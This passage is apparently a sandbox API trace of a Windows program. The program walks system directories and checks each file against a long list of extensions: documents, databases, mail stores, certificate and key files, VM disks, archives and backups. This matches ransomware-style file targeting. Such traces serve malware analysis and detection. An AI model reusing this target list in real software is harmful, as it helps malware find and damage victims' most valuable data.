lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0103.977] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0103.977] CloseHandle (hObject=0x90) returned 1 [0103.977] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\", lpString2="MMCFxCommon.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll" [0103.977] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.ems") returned 0 [0103.977] lstrlenA (lpString="*.ems") returned 5 [0103.977] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.db") returned 0 [0103.977] lstrlenA (lpString="*.db") returned 4 [0103.977] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.dbf") returned 0 [0103.977] lstrlenA (lpString="*.dbf") returned 5 [0103.977] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.myox") returned 0 [0103.977] lstrlenA (lpString="*.myox") returned 6 [0103.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.myo") returned 0 [0103.978] lstrlenA (lpString="*.myo") returned 5 [0103.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.qbw") returned 0 [0103.978] lstrlenA (lpString="*.qbw") returned 5 [0103.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.qbb") returned 0 [0103.978] lstrlenA (lpString="*.qbb") returned 5 [0103.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.qbm") returned 0 [0103.978] lstrlenA (lpString="*.qbm") returned 5 [0103.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.qbo") returned 0 [0103.978] lstrlenA (lpString="*.qbo") returned 5 [0103.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.qbx") returned 0 [0103.978] lstrlenA (lpString="*.qbx") returned 5 [0103.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.qba") returned 0 [0103.978] lstrlenA (lpString="*.qba") returned 5 [0103.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.qby") returned 0 [0103.978] lstrlenA (lpString="*.qby") returned 5 [0103.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.qbj") returned 0 [0103.978] lstrlenA (lpString="*.qbj") returned 5 [0103.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.ofx") returned 0 [0103.978] lstrlenA (lpString="*.ofx") returned 5 [0103.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.qif") returned 0 [0103.979] lstrlenA (lpString="*.qif") returned 5 [0103.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.mye") returned 0 [0103.979] lstrlenA (lpString="*.mye") returned 5 [0103.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.mbox") returned 0 [0103.979] lstrlenA (lpString="*.mbox") returned 6 [0103.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.eml") returned 0 [0103.979] lstrlenA (lpString="*.eml") returned 5 [0103.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.pst") returned 0 [0103.979] lstrlenA (lpString="*.pst") returned 5 [0103.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.ost") returned 0 [0103.979] lstrlenA (lpString="*.ost") returned 5 [0103.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.idx") returned 0 [0103.979] lstrlenA (lpString="*.idx") returned 5 [0103.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.dbx") returned 0 [0103.979] lstrlenA (lpString="*.dbx") returned 5 [0103.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.sql") returned 0 [0103.979] lstrlenA (lpString="*.sql") returned 5 [0103.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.mdb") returned 0 [0103.980] lstrlenA (lpString="*.mdb") returned 5 [0103.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.fdb") returned 0 [0103.980] lstrlenA (lpString="*.fdb") returned 5 [0103.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.wab") returned 0 [0103.980] lstrlenA (lpString="*.wab") returned 5 [0103.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.dat") returned 0 [0103.980] lstrlenA (lpString="*.dat") returned 5 [0103.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.txt") returned 0 [0103.980] lstrlenA (lpString="*.txt") returned 5 [0103.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.jpeg") returned 0 [0103.980] lstrlenA (lpString="*.jpeg") returned 6 [0103.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.jpg") returned 0 [0103.980] lstrlenA (lpString="*.jpg") returned 5 [0103.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.png") returned 0 [0103.980] lstrlenA (lpString="*.png") returned 5 [0103.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.php") returned 0 [0103.980] lstrlenA (lpString="*.php") returned 5 [0103.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.cs") returned 0 [0103.981] lstrlenA (lpString="*.cs") returned 4 [0103.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.cpp") returned 0 [0103.981] lstrlenA (lpString="*.cpp") returned 5 [0103.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.rar") returned 0 [0103.981] lstrlenA (lpString="*.rar") returned 5 [0103.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.zip") returned 0 [0103.981] lstrlenA (lpString="*.zip") returned 5 [0103.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.html") returned 0 [0103.981] lstrlenA (lpString="*.html") returned 6 [0103.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.htm") returned 0 [0103.981] lstrlenA (lpString="*.htm") returned 5 [0103.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.xlsx") returned 0 [0103.981] lstrlenA (lpString="*.xlsx") returned 6 [0103.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.xls") returned 0 [0103.981] lstrlenA (lpString="*.xls") returned 5 [0103.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.mp4") returned 0 [0103.981] lstrlenA (lpString="*.mp4") returned 5 [0103.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.ppt") returned 0 [0103.981] lstrlenA (lpString="*.ppt") returned 5 [0103.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.pptx") returned 0 [0103.982] lstrlenA (lpString="*.pptx") returned 6 [0103.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.doc") returned 0 [0103.982] lstrlenA (lpString="*.doc") returned 5 [0103.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.dot") returned 0 [0103.982] lstrlenA (lpString="*.dot") returned 5 [0103.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.docx") returned 0 [0103.982] lstrlenA (lpString="*.docx") returned 6 [0103.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.7z") returned 0 [0103.982] lstrlenA (lpString="*.7z") returned 4 [0103.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.tar") returned 0 [0103.982] lstrlenA (lpString="*.tar") returned 5 [0103.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.bz2") returned 0 [0103.982] lstrlenA (lpString="*.bz2") returned 5 [0103.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.gz") returned 0 [0103.982] lstrlenA (lpString="*.gz") returned 4 [0103.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.mkv") returned 0 [0103.982] lstrlenA (lpString="*.mkv") returned 5 [0103.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.eml") returned 0 [0103.983] lstrlenA (lpString="*.eml") returned 5 [0103.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.msg") returned 0 [0103.983] lstrlenA (lpString="*.msg") returned 5 [0103.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.edb") returned 0 [0103.983] lstrlenA (lpString="*.edb") returned 5 [0103.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.accdb") returned 0 [0103.983] lstrlenA (lpString="*.accdb") returned 7 [0103.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.odb") returned 0 [0103.983] lstrlenA (lpString="*.odb") returned 5 [0103.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.java") returned 0 [0103.983] lstrlenA (lpString="*.java") returned 6 [0103.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.asm") returned 0 [0103.983] lstrlenA (lpString="*.asm") returned 5 [0103.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.pfx") returned 0 [0103.983] lstrlenA (lpString="*.pfx") returned 5 [0103.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.pem") returned 0 [0103.984] lstrlenA (lpString="*.pem") returned 5 [0103.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.p12") returned 0 [0103.984] lstrlenA (lpString="*.p12") returned 5 [0103.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.gpg") returned 0 [0103.984] lstrlenA (lpString="*.gpg") returned 5 [0103.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.vsd") returned 0 [0103.984] lstrlenA (lpString="*.vsd") returned 5 [0103.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.odg") returned 0 [0103.984] lstrlenA (lpString="*.odg") returned 5 [0103.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.raw") returned 0 [0103.984] lstrlenA (lpString="*.raw") returned 5 [0103.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.nef") returned 0 [0103.984] lstrlenA (lpString="*.nef") returned 5 [0103.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.svg") returned 0 [0103.984] lstrlenA (lpString="*.svg") returned 5 [0103.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.psd") returned 0 [0103.984] lstrlenA (lpString="*.psd") returned 5 [0103.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.vmx") returned 0 [0103.984] lstrlenA (lpString="*.vmx") returned 5 [0103.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.vmdk") returned 0 [0103.985] lstrlenA (lpString="*.vmdk") returned 6 [0103.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.vdi") returned 0 [0103.985] lstrlenA (lpString="*.vdi") returned 5 [0103.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.lay6") returned 0 [0103.985] lstrlenA (lpString="*.lay6") returned 6 [0103.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.mpeg") returned 0 [0103.985] lstrlenA (lpString="*.mpeg") returned 6 [0103.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.djvu") returned 0 [0103.985] lstrlenA (lpString="*.djvu") returned 6 [0103.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.tiff") returned 0 [0103.985] lstrlenA (lpString="*.tiff") returned 6 [0103.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.backup") returned 0 [0103.985] lstrlenA (lpString="*.backup") returned 8 [0103.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.pdf") returned 0 [0103.985] lstrlenA (lpString="*.pdf") returned 5 [0103.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.cert") returned 0 [0103.985] lstrlenA (lpString="*.cert") returned 6 [0103.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.docm") returned 0 [0103.986] lstrlenA (lpString="*.docm") returned 6 [0103.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.xlsm") returned 0 [0103.986] lstrlenA (lpString="*.xlsm") returned 6 [0103.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.dwg") returned 0 [0103.986] lstrlenA (lpString="*.dwg") returned 5 [0103.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.nd") returned 0 [0103.986] lstrlenA (lpString="*.nd") returned 4 [0103.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.tlg") returned 0 [0103.986] lstrlenA (lpString="*.tlg") returned 5 [0103.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.lgb") returned 0 [0103.986] lstrlenA (lpString="*.lgb") returned 5 [0103.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.mov") returned 0 [0103.986] lstrlenA (lpString="*.mov") returned 5 [0103.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.xdw") returned 0 [0103.986] lstrlenA (lpString="*.xdw") returned 5 [0103.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.ods") returned 0 [0104.008] lstrlenA (lpString="*.ods") returned 5 [0104.008] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.wav") returned 0 [0104.008] lstrlenA (lpString="*.wav") returned 5 [0104.008] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.mp3") returned 0 [0104.008] lstrlenA (lpString="*.mp3") returned 5 [0104.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.aiff") returned 0 [0104.009] lstrlenA (lpString="*.aiff") returned 6 [0104.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.flac") returned 0 [0104.009] lstrlenA (lpString="*.flac") returned 6 [0104.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.m4a") returned 0 [0104.009] lstrlenA (lpString="*.m4a") returned 5 [0104.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\MMCFxCommon\\18e41c018ceff36c2512d12f570f0be7\\MMCFxCommon.ni.dll", pszSpec="*.csv") returned 0 [0104.009] lstrlenA (lpString="*.csv") returned 5 [0104.009] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59761c7c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x59761c7c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x59761c7c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x46200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MMCFxCommon.ni.dll", cAlternateFileName="MMCFXC~1.DLL")) returned 0 [0104.010] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.010] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x597adf3d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x597adf3d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x597adf3d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="18e41c018ceff36c2512d12f570f0be7", cAlternateFileName="18E41C~1")) returned 0 [0104.010] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0104.010] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f73b2e4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f73b2e4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f73b2e4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4d004d, dwReserved1=0x460043, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0104.010] lstrcmpA (lpString1=".", lpString2="MSBuild") returned -1 [0104.010] lstrcmpA (lpString1="..", lpString2="MSBuild") returned -1 [0104.010] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0104.011] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="MSBuild" | out: 